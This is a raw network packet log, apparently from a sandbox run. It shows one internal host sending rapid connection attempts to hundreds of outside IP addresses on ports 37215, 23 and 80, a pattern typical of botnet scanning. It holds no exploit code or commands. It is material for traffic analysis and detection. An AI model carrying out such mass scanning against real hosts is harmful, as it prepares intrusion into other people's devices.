Jan 30, 2025 10:43:02.083276033 CET	60295	37215	192.168.2.14	156.15.207.77
Jan 30, 2025 10:43:02.083281994 CET	60295	37215	192.168.2.14	197.188.152.121
Jan 30, 2025 10:43:02.083282948 CET	60295	37215	192.168.2.14	197.47.23.47
Jan 30, 2025 10:43:02.083292961 CET	60295	37215	192.168.2.14	41.29.47.236
Jan 30, 2025 10:43:02.083301067 CET	60295	37215	192.168.2.14	197.28.48.244
Jan 30, 2025 10:43:02.083303928 CET	60295	37215	192.168.2.14	156.223.74.113
Jan 30, 2025 10:43:02.083326101 CET	60295	37215	192.168.2.14	156.108.153.96
Jan 30, 2025 10:43:02.083332062 CET	60295	37215	192.168.2.14	156.75.25.9
Jan 30, 2025 10:43:02.083332062 CET	60295	37215	192.168.2.14	156.122.125.203
Jan 30, 2025 10:43:02.083336115 CET	60295	37215	192.168.2.14	156.91.100.155
Jan 30, 2025 10:43:02.083343983 CET	60295	37215	192.168.2.14	41.213.130.88
Jan 30, 2025 10:43:02.083349943 CET	60295	37215	192.168.2.14	197.58.35.162
Jan 30, 2025 10:43:02.083349943 CET	60295	37215	192.168.2.14	41.152.100.97
Jan 30, 2025 10:43:02.083359957 CET	60295	37215	192.168.2.14	156.97.35.249
Jan 30, 2025 10:43:02.083367109 CET	60295	37215	192.168.2.14	41.164.141.172
Jan 30, 2025 10:43:02.083375931 CET	60295	37215	192.168.2.14	41.129.201.221
Jan 30, 2025 10:43:02.083384037 CET	60295	37215	192.168.2.14	41.101.34.14
Jan 30, 2025 10:43:02.083385944 CET	60295	37215	192.168.2.14	156.53.160.49
Jan 30, 2025 10:43:02.083383083 CET	60295	37215	192.168.2.14	41.164.111.128
Jan 30, 2025 10:43:02.083395958 CET	60295	37215	192.168.2.14	41.4.246.57
Jan 30, 2025 10:43:02.083414078 CET	60295	37215	192.168.2.14	197.12.209.249
Jan 30, 2025 10:43:02.083417892 CET	60295	37215	192.168.2.14	197.3.64.102
Jan 30, 2025 10:43:02.083420038 CET	60295	37215	192.168.2.14	156.212.72.13
Jan 30, 2025 10:43:02.083420992 CET	60295	37215	192.168.2.14	197.65.245.55
Jan 30, 2025 10:43:02.083420992 CET	60295	37215	192.168.2.14	197.18.62.114
Jan 30, 2025 10:43:02.083420992 CET	60295	37215	192.168.2.14	197.88.198.206
Jan 30, 2025 10:43:02.083422899 CET	60295	37215	192.168.2.14	156.195.213.18
Jan 30, 2025 10:43:02.083422899 CET	60295	37215	192.168.2.14	156.127.213.163
Jan 30, 2025 10:43:02.083431959 CET	60295	37215	192.168.2.14	156.195.47.192
Jan 30, 2025 10:43:02.083440065 CET	60295	37215	192.168.2.14	156.159.174.160
Jan 30, 2025 10:43:02.083452940 CET	60295	37215	192.168.2.14	197.164.99.11
Jan 30, 2025 10:43:02.083458900 CET	60295	37215	192.168.2.14	197.110.172.205
Jan 30, 2025 10:43:02.083458900 CET	60295	37215	192.168.2.14	197.151.46.197
Jan 30, 2025 10:43:02.083462000 CET	60295	37215	192.168.2.14	41.156.222.138
Jan 30, 2025 10:43:02.083472967 CET	60295	37215	192.168.2.14	156.98.250.20
Jan 30, 2025 10:43:02.083483934 CET	60295	37215	192.168.2.14	197.226.216.112
Jan 30, 2025 10:43:02.083486080 CET	60295	37215	192.168.2.14	156.36.88.70
Jan 30, 2025 10:43:02.083492041 CET	60295	37215	192.168.2.14	197.221.195.56
Jan 30, 2025 10:43:02.083507061 CET	60295	37215	192.168.2.14	197.51.174.170
Jan 30, 2025 10:43:02.083511114 CET	60295	37215	192.168.2.14	156.231.30.0
Jan 30, 2025 10:43:02.083513975 CET	60295	37215	192.168.2.14	41.231.168.98
Jan 30, 2025 10:43:02.083514929 CET	60295	37215	192.168.2.14	197.250.237.227
Jan 30, 2025 10:43:02.083532095 CET	60295	37215	192.168.2.14	197.90.99.142
Jan 30, 2025 10:43:02.083532095 CET	60295	37215	192.168.2.14	156.30.28.64
Jan 30, 2025 10:43:02.083532095 CET	60295	37215	192.168.2.14	156.232.18.209
Jan 30, 2025 10:43:02.083539009 CET	60295	37215	192.168.2.14	41.30.215.242
Jan 30, 2025 10:43:02.083549976 CET	60295	37215	192.168.2.14	156.212.40.181
Jan 30, 2025 10:43:02.083564043 CET	60295	37215	192.168.2.14	156.116.93.118
Jan 30, 2025 10:43:02.083564043 CET	60295	37215	192.168.2.14	197.187.14.180
Jan 30, 2025 10:43:02.083570957 CET	60295	37215	192.168.2.14	156.187.199.141
Jan 30, 2025 10:43:02.083579063 CET	60295	37215	192.168.2.14	156.61.175.14
Jan 30, 2025 10:43:02.083586931 CET	60295	37215	192.168.2.14	197.219.244.135
Jan 30, 2025 10:43:02.083592892 CET	60295	37215	192.168.2.14	197.52.211.162
Jan 30, 2025 10:43:02.083585024 CET	60295	37215	192.168.2.14	197.117.35.127
Jan 30, 2025 10:43:02.083609104 CET	60295	37215	192.168.2.14	197.123.3.31
Jan 30, 2025 10:43:02.083627939 CET	60295	37215	192.168.2.14	156.214.28.196
Jan 30, 2025 10:43:02.083627939 CET	60295	37215	192.168.2.14	156.179.30.102
Jan 30, 2025 10:43:02.083630085 CET	60295	37215	192.168.2.14	156.76.215.142
Jan 30, 2025 10:43:02.083631039 CET	60295	37215	192.168.2.14	41.220.103.187
Jan 30, 2025 10:43:02.083635092 CET	60295	37215	192.168.2.14	197.145.248.245
Jan 30, 2025 10:43:02.083638906 CET	60295	37215	192.168.2.14	197.49.63.129
Jan 30, 2025 10:43:02.083651066 CET	60295	37215	192.168.2.14	197.138.151.209
Jan 30, 2025 10:43:02.083656073 CET	60295	37215	192.168.2.14	156.10.13.154
Jan 30, 2025 10:43:02.083657980 CET	60295	37215	192.168.2.14	156.14.30.131
Jan 30, 2025 10:43:02.083668947 CET	60295	37215	192.168.2.14	156.156.72.159
Jan 30, 2025 10:43:02.083673954 CET	60295	37215	192.168.2.14	197.9.31.164
Jan 30, 2025 10:43:02.083679914 CET	60295	37215	192.168.2.14	156.95.191.160
Jan 30, 2025 10:43:02.083681107 CET	60295	37215	192.168.2.14	41.183.173.8
Jan 30, 2025 10:43:02.083698034 CET	60295	37215	192.168.2.14	156.243.248.235
Jan 30, 2025 10:43:02.083699942 CET	60295	37215	192.168.2.14	41.73.121.226
Jan 30, 2025 10:43:02.083709002 CET	60295	37215	192.168.2.14	41.216.111.175
Jan 30, 2025 10:43:02.083709955 CET	60295	37215	192.168.2.14	41.213.130.165
Jan 30, 2025 10:43:02.083720922 CET	60295	37215	192.168.2.14	41.217.242.159
Jan 30, 2025 10:43:02.083729982 CET	60295	37215	192.168.2.14	197.218.35.157
Jan 30, 2025 10:43:02.083745956 CET	60295	37215	192.168.2.14	156.206.122.214
Jan 30, 2025 10:43:02.083745956 CET	60295	37215	192.168.2.14	156.103.207.191
Jan 30, 2025 10:43:02.083751917 CET	60295	37215	192.168.2.14	197.11.158.67
Jan 30, 2025 10:43:02.083753109 CET	60295	37215	192.168.2.14	156.188.183.102
Jan 30, 2025 10:43:02.083759069 CET	60295	37215	192.168.2.14	197.17.212.63
Jan 30, 2025 10:43:02.083775043 CET	60295	37215	192.168.2.14	197.231.239.220
Jan 30, 2025 10:43:02.083775997 CET	60295	37215	192.168.2.14	41.6.164.227
Jan 30, 2025 10:43:02.083782911 CET	60295	37215	192.168.2.14	41.95.237.120
Jan 30, 2025 10:43:02.083785057 CET	60295	37215	192.168.2.14	41.237.236.169
Jan 30, 2025 10:43:02.083796978 CET	60295	37215	192.168.2.14	156.115.188.205
Jan 30, 2025 10:43:02.083798885 CET	60295	37215	192.168.2.14	156.150.248.41
Jan 30, 2025 10:43:02.083797932 CET	60295	37215	192.168.2.14	41.170.11.169
Jan 30, 2025 10:43:02.083805084 CET	60295	37215	192.168.2.14	156.45.156.37
Jan 30, 2025 10:43:02.083815098 CET	60295	37215	192.168.2.14	156.107.161.212
Jan 30, 2025 10:43:02.083815098 CET	60295	37215	192.168.2.14	156.154.113.104
Jan 30, 2025 10:43:02.083817005 CET	60295	37215	192.168.2.14	197.87.237.66
Jan 30, 2025 10:43:02.083825111 CET	60295	37215	192.168.2.14	156.168.150.237
Jan 30, 2025 10:43:02.083833933 CET	60295	37215	192.168.2.14	156.25.185.13
Jan 30, 2025 10:43:02.083836079 CET	60295	37215	192.168.2.14	41.255.149.237
Jan 30, 2025 10:43:02.083843946 CET	60295	37215	192.168.2.14	197.147.168.51
Jan 30, 2025 10:43:02.083843946 CET	60295	37215	192.168.2.14	156.118.205.14
Jan 30, 2025 10:43:02.083861113 CET	60295	37215	192.168.2.14	156.201.169.113
Jan 30, 2025 10:43:02.083865881 CET	60295	37215	192.168.2.14	41.184.35.66
Jan 30, 2025 10:43:02.083873987 CET	60295	37215	192.168.2.14	156.233.174.197
Jan 30, 2025 10:43:02.083873987 CET	60295	37215	192.168.2.14	156.115.203.196
Jan 30, 2025 10:43:02.083888054 CET	60295	37215	192.168.2.14	156.52.202.97
Jan 30, 2025 10:43:02.083899021 CET	60295	37215	192.168.2.14	41.15.74.231
Jan 30, 2025 10:43:02.083899021 CET	60295	37215	192.168.2.14	197.141.131.175
Jan 30, 2025 10:43:02.083900928 CET	60295	37215	192.168.2.14	41.131.41.138
Jan 30, 2025 10:43:02.083947897 CET	60295	37215	192.168.2.14	156.173.66.12
Jan 30, 2025 10:43:02.084645033 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:02.087280035 CET	37215	60295	197.29.13.133	192.168.2.14
Jan 30, 2025 10:43:02.087295055 CET	37215	60295	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:02.087305069 CET	37215	60295	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:02.087320089 CET	37215	60295	156.177.123.236	192.168.2.14
Jan 30, 2025 10:43:02.087330103 CET	37215	60295	156.194.175.161	192.168.2.14
Jan 30, 2025 10:43:02.087332010 CET	60295	37215	192.168.2.14	197.29.13.133
Jan 30, 2025 10:43:02.087341070 CET	37215	60295	41.34.237.9	192.168.2.14
Jan 30, 2025 10:43:02.087351084 CET	37215	60295	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:02.087369919 CET	60295	37215	192.168.2.14	156.194.175.161
Jan 30, 2025 10:43:02.087369919 CET	60295	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:02.087369919 CET	60295	37215	192.168.2.14	41.34.237.9
Jan 30, 2025 10:43:02.087373972 CET	60295	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:02.087383986 CET	60295	37215	192.168.2.14	156.177.123.236
Jan 30, 2025 10:43:02.087392092 CET	60295	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:02.087590933 CET	37215	60295	156.1.4.40	192.168.2.14
Jan 30, 2025 10:43:02.087609053 CET	37215	60295	156.83.97.125	192.168.2.14
Jan 30, 2025 10:43:02.087661982 CET	60295	37215	192.168.2.14	156.1.4.40
Jan 30, 2025 10:43:02.087661982 CET	37215	60295	41.38.203.130	192.168.2.14
Jan 30, 2025 10:43:02.087665081 CET	60295	37215	192.168.2.14	156.83.97.125
Jan 30, 2025 10:43:02.087685108 CET	37215	60295	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:02.087714911 CET	60295	37215	192.168.2.14	41.38.203.130
Jan 30, 2025 10:43:02.087740898 CET	60295	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:02.087743998 CET	37215	60295	156.130.242.158	192.168.2.14
Jan 30, 2025 10:43:02.087754965 CET	37215	60295	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:02.087764978 CET	37215	60295	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:02.087776899 CET	37215	60295	156.104.45.241	192.168.2.14
Jan 30, 2025 10:43:02.087790966 CET	60295	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:02.087793112 CET	37215	60295	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:02.087805033 CET	60295	37215	192.168.2.14	156.130.242.158
Jan 30, 2025 10:43:02.087806940 CET	37215	60295	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:02.087820053 CET	60295	37215	192.168.2.14	156.104.45.241
Jan 30, 2025 10:43:02.087822914 CET	60295	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:02.087841034 CET	60295	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:02.087842941 CET	37215	60295	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:02.087855101 CET	37215	60295	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:02.087872028 CET	37215	60295	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:02.087882042 CET	37215	60295	41.239.226.175	192.168.2.14
Jan 30, 2025 10:43:02.087884903 CET	60295	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:02.087884903 CET	60295	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:02.087907076 CET	60295	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:02.087907076 CET	60295	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:02.087908030 CET	37215	60295	156.62.15.248	192.168.2.14
Jan 30, 2025 10:43:02.087907076 CET	60295	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:02.087919950 CET	37215	60295	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:02.087932110 CET	37215	60295	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:02.087945938 CET	60295	37215	192.168.2.14	156.62.15.248
Jan 30, 2025 10:43:02.087954044 CET	37215	60295	156.198.8.184	192.168.2.14
Jan 30, 2025 10:43:02.087955952 CET	60295	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:02.087980986 CET	60295	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:02.087985992 CET	37215	60295	156.30.253.189	192.168.2.14
Jan 30, 2025 10:43:02.087996006 CET	37215	60295	41.112.75.126	192.168.2.14
Jan 30, 2025 10:43:02.088000059 CET	60295	37215	192.168.2.14	156.198.8.184
Jan 30, 2025 10:43:02.088026047 CET	60295	37215	192.168.2.14	41.112.75.126
Jan 30, 2025 10:43:02.088026047 CET	37215	60295	197.149.252.27	192.168.2.14
Jan 30, 2025 10:43:02.088026047 CET	60295	37215	192.168.2.14	156.30.253.189
Jan 30, 2025 10:43:02.088038921 CET	37215	60295	156.219.241.54	192.168.2.14
Jan 30, 2025 10:43:02.088069916 CET	60295	37215	192.168.2.14	156.219.241.54
Jan 30, 2025 10:43:02.088069916 CET	60295	37215	192.168.2.14	197.149.252.27
Jan 30, 2025 10:43:02.088071108 CET	37215	60295	41.211.211.207	192.168.2.14
Jan 30, 2025 10:43:02.088083029 CET	37215	60295	197.136.191.103	192.168.2.14
Jan 30, 2025 10:43:02.088093042 CET	37215	60295	197.110.199.188	192.168.2.14
Jan 30, 2025 10:43:02.088114023 CET	37215	60295	156.213.149.65	192.168.2.14
Jan 30, 2025 10:43:02.088114977 CET	60295	37215	192.168.2.14	197.136.191.103
Jan 30, 2025 10:43:02.088150024 CET	60295	37215	192.168.2.14	197.110.199.188
Jan 30, 2025 10:43:02.088157892 CET	37215	60295	156.83.177.40	192.168.2.14
Jan 30, 2025 10:43:02.088165045 CET	60295	37215	192.168.2.14	41.211.211.207
Jan 30, 2025 10:43:02.088171005 CET	60295	37215	192.168.2.14	156.213.149.65
Jan 30, 2025 10:43:02.088202000 CET	60295	37215	192.168.2.14	156.83.177.40
Jan 30, 2025 10:43:02.088257074 CET	37215	60295	197.105.118.99	192.168.2.14
Jan 30, 2025 10:43:02.088354111 CET	60295	37215	192.168.2.14	197.105.118.99
Jan 30, 2025 10:43:02.088776112 CET	37215	60295	156.149.194.238	192.168.2.14
Jan 30, 2025 10:43:02.088787079 CET	37215	60295	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:02.088795900 CET	37215	60295	156.51.86.220	192.168.2.14
Jan 30, 2025 10:43:02.088804960 CET	37215	60295	41.77.182.85	192.168.2.14
Jan 30, 2025 10:43:02.088814020 CET	37215	60295	197.244.70.58	192.168.2.14
Jan 30, 2025 10:43:02.088819981 CET	60295	37215	192.168.2.14	156.149.194.238
Jan 30, 2025 10:43:02.088824034 CET	37215	60295	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:02.088824034 CET	60295	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:02.088835001 CET	37215	60295	156.140.48.212	192.168.2.14
Jan 30, 2025 10:43:02.088835955 CET	60295	37215	192.168.2.14	156.51.86.220
Jan 30, 2025 10:43:02.088843107 CET	60295	37215	192.168.2.14	197.244.70.58
Jan 30, 2025 10:43:02.088844061 CET	37215	60295	41.146.171.72	192.168.2.14
Jan 30, 2025 10:43:02.088845015 CET	60295	37215	192.168.2.14	41.77.182.85
Jan 30, 2025 10:43:02.088860035 CET	60295	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:02.088861942 CET	37215	60295	41.189.133.67	192.168.2.14
Jan 30, 2025 10:43:02.088871956 CET	37215	60295	197.23.77.148	192.168.2.14
Jan 30, 2025 10:43:02.088881016 CET	37215	60295	41.124.116.88	192.168.2.14
Jan 30, 2025 10:43:02.088885069 CET	60295	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:02.088891983 CET	37215	60295	156.190.165.129	192.168.2.14
Jan 30, 2025 10:43:02.088900089 CET	60295	37215	192.168.2.14	41.189.133.67
Jan 30, 2025 10:43:02.088901043 CET	37215	60295	156.34.123.55	192.168.2.14
Jan 30, 2025 10:43:02.088905096 CET	60295	37215	192.168.2.14	197.23.77.148
Jan 30, 2025 10:43:02.088907003 CET	60295	37215	192.168.2.14	41.146.171.72
Jan 30, 2025 10:43:02.088912964 CET	37215	60295	41.47.146.109	192.168.2.14
Jan 30, 2025 10:43:02.088917017 CET	60295	37215	192.168.2.14	41.124.116.88
Jan 30, 2025 10:43:02.088920116 CET	60295	37215	192.168.2.14	156.190.165.129
Jan 30, 2025 10:43:02.088922977 CET	37215	60295	197.251.13.231	192.168.2.14
Jan 30, 2025 10:43:02.088932991 CET	37215	60295	197.34.230.84	192.168.2.14
Jan 30, 2025 10:43:02.088942051 CET	37215	60295	156.209.197.148	192.168.2.14
Jan 30, 2025 10:43:02.088951111 CET	37215	60295	156.250.179.179	192.168.2.14
Jan 30, 2025 10:43:02.088953972 CET	60295	37215	192.168.2.14	156.34.123.55
Jan 30, 2025 10:43:02.088958979 CET	60295	37215	192.168.2.14	41.47.146.109
Jan 30, 2025 10:43:02.088959932 CET	37215	60295	41.139.22.90	192.168.2.14
Jan 30, 2025 10:43:02.088969946 CET	37215	60295	41.177.62.97	192.168.2.14
Jan 30, 2025 10:43:02.088979006 CET	37215	60295	156.1.171.213	192.168.2.14
Jan 30, 2025 10:43:02.088979006 CET	60295	37215	192.168.2.14	197.251.13.231
Jan 30, 2025 10:43:02.088979959 CET	60295	37215	192.168.2.14	197.34.230.84
Jan 30, 2025 10:43:02.088979959 CET	60295	37215	192.168.2.14	156.250.179.179
Jan 30, 2025 10:43:02.088989019 CET	37215	60295	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:02.088989019 CET	60295	37215	192.168.2.14	156.209.197.148
Jan 30, 2025 10:43:02.088989019 CET	60295	37215	192.168.2.14	41.177.62.97
Jan 30, 2025 10:43:02.088999987 CET	37215	60295	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:02.089001894 CET	60295	37215	192.168.2.14	41.139.22.90
Jan 30, 2025 10:43:02.089008093 CET	37215	60295	156.195.165.210	192.168.2.14
Jan 30, 2025 10:43:02.089015007 CET	60295	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:02.089018106 CET	37215	60295	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:02.089026928 CET	37215	60295	41.93.210.48	192.168.2.14
Jan 30, 2025 10:43:02.089032888 CET	60295	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:02.089040995 CET	60295	37215	192.168.2.14	156.195.165.210
Jan 30, 2025 10:43:02.089050055 CET	60295	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:02.089062929 CET	60295	37215	192.168.2.14	41.93.210.48
Jan 30, 2025 10:43:02.089078903 CET	60295	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:02.091255903 CET	40968	80	192.168.2.14	149.28.47.9
Jan 30, 2025 10:43:02.091259003 CET	45424	80	192.168.2.14	173.5.157.24
Jan 30, 2025 10:43:02.091259956 CET	33670	80	192.168.2.14	96.144.107.189
Jan 30, 2025 10:43:02.091259956 CET	39846	80	192.168.2.14	47.252.222.92
Jan 30, 2025 10:43:02.091259956 CET	56398	23	192.168.2.14	191.61.220.78
Jan 30, 2025 10:43:02.091263056 CET	44648	23	192.168.2.14	32.131.87.5
Jan 30, 2025 10:43:02.091263056 CET	35342	23	192.168.2.14	78.250.37.250
Jan 30, 2025 10:43:02.091268063 CET	48938	23	192.168.2.14	121.42.70.33
Jan 30, 2025 10:43:02.091268063 CET	34906	23	192.168.2.14	171.199.5.179
Jan 30, 2025 10:43:02.091268063 CET	48666	23	192.168.2.14	93.103.22.131
Jan 30, 2025 10:43:02.091268063 CET	37548	23	192.168.2.14	13.23.33.188
Jan 30, 2025 10:43:02.091275930 CET	59088	23	192.168.2.14	114.144.107.189
Jan 30, 2025 10:43:02.091275930 CET	60886	23	192.168.2.14	63.236.222.92
Jan 30, 2025 10:43:02.091275930 CET	46786	23	192.168.2.14	131.40.175.45
Jan 30, 2025 10:43:02.123281956 CET	42018	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.123285055 CET	46950	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:02.123281956 CET	34100	23	192.168.2.14	201.14.251.215
Jan 30, 2025 10:43:02.123289108 CET	57886	23	192.168.2.14	98.129.111.121
Jan 30, 2025 10:43:02.123311043 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:02.123317957 CET	38960	23	192.168.2.14	189.136.23.227
Jan 30, 2025 10:43:02.123322010 CET	52956	80	192.168.2.14	136.136.213.67
Jan 30, 2025 10:43:02.123342991 CET	51678	80	192.168.2.14	5.118.233.252
Jan 30, 2025 10:43:02.123351097 CET	33712	23	192.168.2.14	139.125.75.115
Jan 30, 2025 10:43:02.123358965 CET	47632	23	192.168.2.14	65.230.203.210
Jan 30, 2025 10:43:02.123368025 CET	54750	80	192.168.2.14	149.7.19.65
Jan 30, 2025 10:43:02.123368025 CET	35370	23	192.168.2.14	83.94.101.213
Jan 30, 2025 10:43:02.123377085 CET	37130	23	192.168.2.14	148.138.143.58
Jan 30, 2025 10:43:02.123383045 CET	36520	23	192.168.2.14	114.107.59.138
Jan 30, 2025 10:43:02.123414040 CET	51482	23	192.168.2.14	175.157.72.124
Jan 30, 2025 10:43:02.128166914 CET	80	46950	17.43.38.50	192.168.2.14
Jan 30, 2025 10:43:02.128180027 CET	23	57886	98.129.111.121	192.168.2.14
Jan 30, 2025 10:43:02.128189087 CET	80	42018	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:02.128197908 CET	23	34100	201.14.251.215	192.168.2.14
Jan 30, 2025 10:43:02.128261089 CET	46950	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:02.128290892 CET	57886	23	192.168.2.14	98.129.111.121
Jan 30, 2025 10:43:02.128304958 CET	42018	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.128319979 CET	34100	23	192.168.2.14	201.14.251.215
Jan 30, 2025 10:43:02.128473043 CET	62855	80	192.168.2.14	218.209.154.213
Jan 30, 2025 10:43:02.128494024 CET	62855	80	192.168.2.14	69.245.11.193
Jan 30, 2025 10:43:02.128511906 CET	62855	80	192.168.2.14	134.1.39.21
Jan 30, 2025 10:43:02.128531933 CET	62855	80	192.168.2.14	61.68.75.13
Jan 30, 2025 10:43:02.128554106 CET	62855	80	192.168.2.14	138.131.177.5
Jan 30, 2025 10:43:02.128582001 CET	63367	23	192.168.2.14	111.199.142.236
Jan 30, 2025 10:43:02.128582954 CET	63367	23	192.168.2.14	95.187.34.229
Jan 30, 2025 10:43:02.128583908 CET	63367	23	192.168.2.14	133.73.38.181
Jan 30, 2025 10:43:02.128586054 CET	62855	80	192.168.2.14	206.237.122.125
Jan 30, 2025 10:43:02.128586054 CET	63367	23	192.168.2.14	139.205.216.121
Jan 30, 2025 10:43:02.128597975 CET	62855	80	192.168.2.14	71.238.117.110
Jan 30, 2025 10:43:02.128598928 CET	63367	23	192.168.2.14	37.79.220.64
Jan 30, 2025 10:43:02.128598928 CET	63367	23	192.168.2.14	201.74.197.209
Jan 30, 2025 10:43:02.128597975 CET	62855	80	192.168.2.14	126.64.173.246
Jan 30, 2025 10:43:02.128607035 CET	63367	23	192.168.2.14	197.17.51.130
Jan 30, 2025 10:43:02.128607988 CET	63367	23	192.168.2.14	196.52.1.26
Jan 30, 2025 10:43:02.128607988 CET	63367	23	192.168.2.14	103.150.163.250
Jan 30, 2025 10:43:02.128607988 CET	63367	23	192.168.2.14	151.153.82.119
Jan 30, 2025 10:43:02.128618002 CET	62855	80	192.168.2.14	34.28.77.28
Jan 30, 2025 10:43:02.128621101 CET	63367	23	192.168.2.14	143.62.170.229
Jan 30, 2025 10:43:02.128622055 CET	62855	80	192.168.2.14	128.162.195.168
Jan 30, 2025 10:43:02.128623009 CET	63367	23	192.168.2.14	68.171.114.201
Jan 30, 2025 10:43:02.128623009 CET	62855	80	192.168.2.14	99.60.253.196
Jan 30, 2025 10:43:02.128623009 CET	63367	23	192.168.2.14	66.69.165.34
Jan 30, 2025 10:43:02.128623009 CET	63367	23	192.168.2.14	186.70.39.182
Jan 30, 2025 10:43:02.128623009 CET	62855	80	192.168.2.14	145.99.153.235
Jan 30, 2025 10:43:02.128623009 CET	63367	23	192.168.2.14	83.163.60.128
Jan 30, 2025 10:43:02.128623009 CET	63367	23	192.168.2.14	46.149.3.222
Jan 30, 2025 10:43:02.128629923 CET	62855	80	192.168.2.14	14.24.212.158
Jan 30, 2025 10:43:02.128629923 CET	63367	23	192.168.2.14	17.6.217.91
Jan 30, 2025 10:43:02.128631115 CET	63367	23	192.168.2.14	51.186.221.220
Jan 30, 2025 10:43:02.128638029 CET	63367	23	192.168.2.14	125.74.174.58
Jan 30, 2025 10:43:02.128638029 CET	62855	80	192.168.2.14	92.167.22.70
Jan 30, 2025 10:43:02.128642082 CET	62855	80	192.168.2.14	68.46.209.231
Jan 30, 2025 10:43:02.128642082 CET	63367	23	192.168.2.14	89.188.151.33
Jan 30, 2025 10:43:02.128642082 CET	62855	80	192.168.2.14	66.232.165.251
Jan 30, 2025 10:43:02.128642082 CET	62855	80	192.168.2.14	41.232.159.248
Jan 30, 2025 10:43:02.128649950 CET	63367	23	192.168.2.14	219.82.203.140
Jan 30, 2025 10:43:02.128649950 CET	62855	80	192.168.2.14	163.16.163.248
Jan 30, 2025 10:43:02.128657103 CET	63367	23	192.168.2.14	90.251.198.129
Jan 30, 2025 10:43:02.128659964 CET	63367	23	192.168.2.14	205.156.223.193
Jan 30, 2025 10:43:02.128660917 CET	63367	23	192.168.2.14	133.189.190.191
Jan 30, 2025 10:43:02.128665924 CET	63367	23	192.168.2.14	122.203.22.197
Jan 30, 2025 10:43:02.128665924 CET	62855	80	192.168.2.14	89.166.179.180
Jan 30, 2025 10:43:02.128667116 CET	63367	23	192.168.2.14	121.246.184.77
Jan 30, 2025 10:43:02.128678083 CET	62855	80	192.168.2.14	38.61.36.176
Jan 30, 2025 10:43:02.128684044 CET	63367	23	192.168.2.14	104.156.27.34
Jan 30, 2025 10:43:02.128688097 CET	63367	23	192.168.2.14	79.14.149.57
Jan 30, 2025 10:43:02.128688097 CET	62855	80	192.168.2.14	221.12.250.150
Jan 30, 2025 10:43:02.128688097 CET	62855	80	192.168.2.14	135.229.169.7
Jan 30, 2025 10:43:02.128694057 CET	62855	80	192.168.2.14	23.46.148.70
Jan 30, 2025 10:43:02.128699064 CET	63367	23	192.168.2.14	59.2.149.186
Jan 30, 2025 10:43:02.128705025 CET	62855	80	192.168.2.14	2.168.91.126
Jan 30, 2025 10:43:02.128714085 CET	63367	23	192.168.2.14	27.99.189.115
Jan 30, 2025 10:43:02.128720999 CET	63367	23	192.168.2.14	87.26.237.230
Jan 30, 2025 10:43:02.128731966 CET	62855	80	192.168.2.14	165.157.28.68
Jan 30, 2025 10:43:02.128734112 CET	62855	80	192.168.2.14	67.160.158.58
Jan 30, 2025 10:43:02.128734112 CET	63367	23	192.168.2.14	198.118.186.95
Jan 30, 2025 10:43:02.128734112 CET	62855	80	192.168.2.14	141.94.168.214
Jan 30, 2025 10:43:02.128736973 CET	62855	80	192.168.2.14	18.134.197.167
Jan 30, 2025 10:43:02.128736973 CET	63367	23	192.168.2.14	209.98.141.252
Jan 30, 2025 10:43:02.128739119 CET	62855	80	192.168.2.14	54.113.18.235
Jan 30, 2025 10:43:02.128743887 CET	62855	80	192.168.2.14	168.112.242.68
Jan 30, 2025 10:43:02.128747940 CET	63367	23	192.168.2.14	12.238.155.29
Jan 30, 2025 10:43:02.128753901 CET	62855	80	192.168.2.14	23.121.192.159
Jan 30, 2025 10:43:02.128756046 CET	63367	23	192.168.2.14	223.213.17.233
Jan 30, 2025 10:43:02.128756046 CET	63367	23	192.168.2.14	192.97.100.130
Jan 30, 2025 10:43:02.128756046 CET	62855	80	192.168.2.14	32.132.231.109
Jan 30, 2025 10:43:02.128766060 CET	63367	23	192.168.2.14	12.85.81.116
Jan 30, 2025 10:43:02.128767014 CET	63367	23	192.168.2.14	157.221.59.216
Jan 30, 2025 10:43:02.128768921 CET	62855	80	192.168.2.14	121.0.252.137
